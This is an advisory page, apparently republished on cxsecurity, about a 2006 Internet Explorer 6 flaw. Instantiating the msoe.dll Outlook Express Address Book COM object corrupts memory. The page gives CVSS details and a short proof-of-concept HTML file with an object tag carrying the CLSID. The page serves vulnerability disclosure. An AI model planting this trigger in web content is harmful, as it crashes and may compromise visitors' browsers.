Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability

2006.08.18
Credit: nop
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Advisory ID: XSec-06-04 Advisory Name: Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability Release Date: 08/15/2006 Tested on: Internet Explorer 6.0 SP1 on Microsoft Windows 2000 SP4 / XP SP2 CN Affected version: Internet Explorer 6.0 Author: nop <nop#xsec.org> http://www.xsec.org Overview: A vulnerability has been found in Internet Explorer 6.0. When Internet Explorer tries to instantiate the msoe.dll (OutLook) COM object as an ActiveX control, it may corrupt system memory in such a way that an attacker may DoS and possibly could execute arbitrary code. Exploit: =============== msoe.dll.htm start ================ <!-- // Internet Explorer (msoe.dll) COM Object Instantiation Vulnerability // tested: 2000SP4/XPSP2 CN // http://www.xsec.org // nop (nop#xsec.org) // CLSID: {233A9694-667E-11d1-9DFB-006097D50408} // Info: Outlook Express Address Book // ProgID: OutlookExpress.AddressBook.1 // InprocServer32: %ProgramFiles%\Outlook Express\msoe.dll --!> <html><body> <object classid="CLSID:{233A9694-667E-11d1-9DFB-006097D50408}" ></object> </body></html> =============== msoe.dll.htm end ================== Link: http://www.xsec.org/index.php?module=releases&act=view&type=1&id=10 About XSec: We are redhat.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top